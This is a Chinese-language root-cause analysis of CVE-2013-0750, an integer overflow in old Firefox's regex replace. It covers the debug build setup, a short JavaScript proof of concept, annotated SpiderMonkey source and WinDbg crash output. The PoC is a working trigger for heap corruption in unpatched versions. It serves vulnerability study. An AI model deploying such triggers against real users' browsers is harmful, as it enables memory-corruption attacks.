CVE-2013-0750 Firefox

比较著名的整数溢出漏洞,在很多书籍中都提及过,不过感觉分析得有些小问题,重新调试了一遍

Building Environment for Debug

Source code:

1
2
3
#漏洞影响版本<18.0
http://releases.mozilla.org/pub/firefox/releases/17.0/source/firefox-17.0.source.tar.bz2
#unzip by 7-zip

Compile:

Environment

1
2
MozillaBuild 1.7 #http://ftp.mozilla.org/pub/mozilla/libraries/win32/MozillaBuildSetup-1.7.exe
VS2010

To compile

将编译的配置文件 “\mozilla-release\xulrunner\config\mozconfig” 复制进MozillaBuild安装的根目录
编辑 “mozconfig” 为:

1
2
3
4
5
6
#开启debug
ac_add_options --enable-application=browser
ac_add_options --enable-debug
ac_add_options --enable-tests
ac_add_options -trace-malloc
ac_add_options --disable-webgl

运行MozillaBuild安装的根目录中的”start-msvc10.bat”来启动VS2010的编译环境
在编译shell中进入firefox的源码根目录
运行命令:

1
2
make -f client.mk build
#最终可执行程序在\mozilla-release\obj-i686-pc-mingw32\dist\bin\firefox.exe

Debug Environment

动态Windbg+静态IDA
Windbg配置debug源码路径(firefox源码位置)
配置符号文件路径:

1
H:\Symbols;SRV*H:\Symbols*http://msdl.microsoft.com/download/symbols;SRV*H:\Symbols*https://symbols.mozilla.org/

Analyze

POC.html:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<script type="text/javascript">
function repeat(x, n){
while(x.length<n) x+=x;
x = x.substring(0, n);
return x;
}
var s = "1";
var rep = "$1";
s = repeat(s, 1<<20);
rep = repeat(rep, 1<<16);
finial = s.replace(/(.+)/g, rep);
alert(finial.length);
</script>
</html>

简单说明一下:
在JavaScript中调用replace,当第二个参数(替换字符串)为\$(1-99)时,会对应前面正则表达式在被替换字符串中匹配的位置,for example:\$1表示正则表达式第一个子表达式匹配的位置
在firefox旧版本中,会首先计算出替换后字符串长度,所以当构造多个”\$1”时会在计算过程中导致整数溢出

windbg下运行找到crash位置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static void
DoReplace(JSContext *cx, RegExpStatics *res, ReplaceData &rdata)
{
JSLinearString *repstr = rdata.repstr;
const jschar *cp;
const jschar *bp = cp = repstr->chars();

const jschar *dp = rdata.dollar;
const jschar *ep = rdata.dollarEnd;
for (; dp; dp = js_strchr_limit(dp, '$', ep)) {
/* Move one of the constant portions of the replacement value. */
size_t len = dp - cp;
rdata.sb.infallibleAppend(cp, len);
cp = dp;

JSSubString sub;
size_t skip;
if (InterpretDollar(cx, res, dp, ep, rdata, &sub, &skip)) {
len = sub.length;
rdata.sb.infallibleAppend(sub.chars, len);//崩溃位置
cp += skip;
dp += skip;
} else {
dp++;
}
}
rdata.sb.infallibleAppend(cp, repstr->length() - (cp - bp));
}

查看函数调用栈:
Call Stack
crash位置是在ReplaceRegExpCallback调用DoReplace过程中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
static bool
ReplaceRegExpCallback(JSContext *cx, RegExpStatics *res, size_t count, void *p)
{
ReplaceData &rdata = *static_cast<ReplaceData *>(p);

rdata.calledBack = true;
size_t leftoff = rdata.leftIndex;
size_t leftlen = res->matchStart() - leftoff;
rdata.leftIndex = res->matchLimit();

size_t replen = 0; /* silence 'unused' warning */
if (!FindReplaceLength(cx, res, rdata, &replen))
return false;

size_t growth = leftlen + replen;
if (!rdata.sb.reserve(rdata.sb.length() + growth))
return false;

JSLinearString &str = rdata.str->asLinear(); /* flattened for regexp */
const jschar *left = str.chars() + leftoff;

rdata.sb.infallibleAppend(left, leftlen); /* skipped-over portion of the search value */
DoReplace(cx, res, rdata);
return true;
}

跟进函数,发现问题在FindReplaceLength:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
static bool
FindReplaceLength(JSContext *cx, RegExpStatics *res, ReplaceData &rdata, size_t *sizep)
{
RootedObject base(cx, rdata.elembase);
if (base) {
/*
* The base object is used when replace was passed a lambda which looks like
* 'function(a) { return b[a]; }' for the base object b. b will not change
* in the course of the replace unless we end up making a scripted call due
* to accessing a scripted getter or a value with a scripted toString.
*/
JS_ASSERT(rdata.lambda);
JS_ASSERT(!base->getOps()->lookupProperty);
JS_ASSERT(!base->getOps()->getProperty);

Value match;
if (!res->createLastMatch(cx, &match))
return false;
JSString *str = match.toString();

JSAtom *atom;
if (str->isAtom()) {
atom = &str->asAtom();
} else {
atom = AtomizeString(cx, str);
if (!atom)
return false;
}

Value v;
if (HasDataProperty(cx, base, AtomToId(atom), &v) && v.isString()) {
rdata.repstr = v.toString()->ensureLinear(cx);
if (!rdata.repstr)
return false;
*sizep = rdata.repstr->length();
return true;
}

/*
* Couldn't handle this property, fall through and despecialize to the
* general lambda case.
*/
rdata.elembase = NULL;
}

if (JSObject *lambda = rdata.lambda) {
PreserveRegExpStatics staticsGuard(cx, res);
if (!staticsGuard.init(cx))
return false;

/*
* In the lambda case, not only do we find the replacement string's
* length, we compute repstr and return it via rdata for use within
* DoReplace. The lambda is called with arguments ($&, $1, $2, ...,
* index, input), i.e., all the properties of a regexp match array.
* For $&, etc., we must create string jsvals from cx->regExpStatics.
* We grab up stack space to keep the newborn strings GC-rooted.
*/
unsigned p = res->parenCount();
unsigned argc = 1 + p + 2;

InvokeArgsGuard &args = rdata.args;
if (!args.pushed() && !cx->stack.pushInvokeArgs(cx, argc, &args))
return false;

args.setCallee(ObjectValue(*lambda));
args.setThis(UndefinedValue());

/* Push $&, $1, $2, ... */
unsigned argi = 0;
if (!res->createLastMatch(cx, &args[argi++]))
return false;

for (size_t i = 0; i < res->parenCount(); ++i) {
if (!res->createParen(cx, i + 1, &args[argi++]))
return false;
}

/* Push match index and input string. */
args[argi++].setInt32(res->matchStart());
args[argi].setString(rdata.str);

if (!Invoke(cx, args))
return false;

/* root repstr: rdata is on the stack, so scanned by conservative gc. */
JSString *repstr = ToString(cx, args.rval());
if (!repstr)
return false;
rdata.repstr = repstr->ensureLinear(cx);
if (!rdata.repstr)
return false;
*sizep = rdata.repstr->length();
return true;
}

JSString *repstr = rdata.repstr;
size_t replen = repstr->length();
for (const jschar *dp = rdata.dollar, *ep = rdata.dollarEnd; dp;
dp = js_strchr_limit(dp, '$', ep)) {
JSSubString sub;
size_t skip;
if (InterpretDollar(cx, res, dp, ep, rdata, &sub, &skip)) {
replen += sub.length - skip;
dp += skip;
} else {
dp++;
}
}
*sizep = replen;
return true;
}

着重看一下后面在表达式存在”$”情况下计算replen的过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
JSString *repstr = rdata.repstr;
size_t replen = repstr->length();
for (const jschar *dp = rdata.dollar, *ep = rdata.dollarEnd; dp;
dp = js_strchr_limit(dp, '$', ep)) {
JSSubString sub;
size_t skip;
if (InterpretDollar(cx, res, dp, ep, rdata, &sub, &skip)) {
replen += sub.length - skip;
dp += skip;
} else {
dp++;
}
}
*sizep = replen;

首先将dp指向首位置,ep指向末位置,而后调用js_strchr_limit查找”$”所在位置:

1
2
3
4
5
6
7
8
9
10
jschar *
js_strchr_limit(const jschar *s, jschar c, const jschar *limit)
{
while (s < limit) {
if (*s == c)
return (jschar *)s;
s++;
}
return NULL;
}//作用是查找字符,可以看到其实际返回的是最左端字符

找到”\$”所在位置后,函数调用InterpretDollar,用于返回”\$”位置需要替换的字符个数sub.length以及”$”位置本身占用的原空间skip,replen最初为表达式长度size_t replen = repstr->length(),因此在replen += sub.length - skip中便计算的是最终替换后字符串长度,其中InterpretDollar:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
static bool
InterpretDollar(JSContext *cx, RegExpStatics *res, const jschar *dp, const jschar *ep,
ReplaceData &rdata, JSSubString *out, size_t *skip)
{
#初始位置为"$"
JS_ASSERT(*dp == '$');
#判断字符串长度,即:判断是否为单一字符"$"
/* If there is only a dollar, bail now */
if (dp + 1 >= ep)
return false;

/* Interpret all Perl match-induced dollar variables. */
jschar dc = dp[1];
#判断是否为十进制数,对应判断是否"$(1-99)"
if (JS7_ISDEC(dc)) {
/* ECMA-262 Edition 3: 1-9 or 01-99 */
unsigned num = JS7_UNDEC(dc);
#此处JS7_UNDEC对字符处理,实际上是直接将ascii减0x30,所以为了防止超出数字范围,在此处对大小进行了判断
if (num > res->parenCount())
return false;
#判断是否为两位数并对两位数进行处理(包括"$01"这种)
const jschar *cp = dp + 2;
if (cp < ep && (dc = *cp, JS7_ISDEC(dc))) {
unsigned tmp = 10 * num + JS7_UNDEC(dc);
if (tmp <= res->parenCount()) {
cp++;
num = tmp;
}
}
#数字为0,返回False
if (num == 0)
return false;
#*skip为"$"元素长度,例:"$1"对应2"$99"对应3
*skip = cp - dp;
#与上面的判断类似,因为处理过程是对ascii处理,防止大小超出范围而进行判断
JS_ASSERT(num <= res->parenCount());
#将对应匹配的字符串(num)传入参数out位置,以便返回
/*
* Note: we index to get the paren with the (1-indexed) pair
* number, as opposed to a (0-indexed) paren number.
*/
res->getParen(num, out);
return true;
}

*skip = 2;
#对应不是数字的特殊情况,"$$""$&"......,具体参照js语法
switch (dc) {
case '$':
rdata.dollarStr.chars = dp;
rdata.dollarStr.length = 1;
*out = rdata.dollarStr;
return true;
case '&':
res->getLastMatch(out);
return true;
case '+':
res->getLastParen(out);
return true;
case '`':
res->getLeftContext(out);
return true;
case '\'':
res->getRightContext(out);
return true;
}
return false;
}

由此分析,在FindReplaceLength中,在前面的POC下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
    JSString *repstr = rdata.repstr;
size_t replen = repstr->length();
for (const jschar *dp = rdata.dollar, *ep = rdata.dollarEnd; dp;
dp = js_strchr_limit(dp, '$', ep)) {
JSSubString sub;
size_t skip;
if (InterpretDollar(cx, res, dp, ep, rdata, &sub, &skip)) {
#replen不断+=0x100000-2,且初始值为0x10000
#因为有0x10000/2"$1",故而进行0x10000/2次操作
#最终0x10000+0xffffe*0x10000/2=0x800000000
#在32位下(64位增加长度即可),最终fff00002+0xffffe=0x00000000,造成整数溢出
replen += sub.length - skip;
dp += skip;
} else {
dp++;
}
}
#*sizep=0
*sizep = replen;

而后返回ReplaceRegExpCallback:

1
2
3
4
5
6
7
8
9
10
11
    if (!FindReplaceLength(cx, res, rdata, &replen))
return false;
#growth为最终替换后字符长度
#简单说明:在真正替换被替换字符前,因为存在"$"这类语法
#需要将替换字符处理为最终的字符,replen即为此字符串长度
#leftlen是正则匹配前字符串的长度(没被匹配到的字符)
#leftlen+replen=原字符串不需要替换的部分+此次替换的最终长度=最终长度
size_t growth = leftlen + replen;
#rdata.sb.length()初始为0,sb定义为buffer built during DoMatch,为Domatch分配给此rdata的空间大小,动态调试此处为0
if (!rdata.sb.reserve(rdata.sb.length() + growth))
return false;

所以最终调用的是rdata.sb.reserve(0),这里并不是因为此处参数为0,而分配更少的空间,造成堆溢出
看到reverse操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Vector<T,N,AP>::reserve(size_t request)
{
REENTRANCY_GUARD_ET_AL;
#利用短路运算
#只有当request > mCapacity时才会执行growStorageBy
#growStorageBy将重新malloc一个空间存储数据
if (request > mCapacity && !growStorageBy(request - mLength))
return false;

#ifdef DEBUG
if (request > mReserved)
mReserved = request;
JS_ASSERT(mLength <= mReserved);
JS_ASSERT(mReserved <= mCapacity);
#endif
return true;
}

实际上此时因为整数溢出传参为0,request < mCapacity(动态调试看到此值为0x20),导致短路运算不会进行growStorageBy,并没有分配堆的操作,而后程序调用DoReplace:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
static void
DoReplace(JSContext *cx, RegExpStatics *res, ReplaceData &rdata)
{
JSLinearString *repstr = rdata.repstr;
const jschar *cp;
const jschar *bp = cp = repstr->chars();
#指向初始位置和结束位置
const jschar *dp = rdata.dollar;
const jschar *ep = rdata.dollarEnd;
#查找替换字符中"$"位置
for (; dp; dp = js_strchr_limit(dp, '$', ep)) {
/* Move one of the constant portions of the replacement value. */
size_t len = dp - cp;
rdata.sb.infallibleAppend(cp, len);
cp = dp;

JSSubString sub;
size_t skip;
#查找到"$"对应匹配的字符串即长度并返回
if (InterpretDollar(cx, res, dp, ep, rdata, &sub, &skip)) {
len = sub.length;
rdata.sb.infallibleAppend(sub.chars, len);
cp += skip;
dp += skip;
} else {
dp++;
}
}
rdata.sb.infallibleAppend(cp, repstr->length() - (cp - bp));
}

没有去寻找源码,rdata.sb.infallibleAppend的操作在IDA下可以直接看到:

1
2
3
4
5
6
7
8
9
10
11
#事实上就是一个copy操作
v11 = sub.chars;
v12 = &sub.chars[sub.length];
if ( sub.chars != v12 )
{
do
{ *v10 = *v11;
++v11;
++v10;
}while ( v11 != v12 );
}

因为前面的整数溢出,实际上从request < mCapacity中也可以看到,真正分配的缓冲区大小为0x20,所以当将过长的字符串存入此缓冲区便会造成溢出,最终:

1
2
3
4
5
0:000:x86> g
(67ec.127c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
> 2067: rdata.sb.infallibleAppend(sub.chars, len);

我们看到此时要写入的地址:

1
53530583 668919          mov     word ptr [ecx],bx        ds:002b:01300000=0020

此处权限:

1
2
3
4
5
6
7
8
9
10
11
12
0:000:x86> !address 0x1300000


Usage: MemoryMappedFile
Allocation Base: 01300000
Base Address: 01300000
End Address: 013c5000
Region Size: 000c5000
Type: 00040000 MEM_MAPPED
State: 00001000 MEM_COMMIT
Protect: 00000002 PAGE_READONLY
Mapped file name: \Device\HarddiskVolume3\Windows\System32\locale.nls

只有读权限,因而当因为溢出向此处写入数据时会造成crash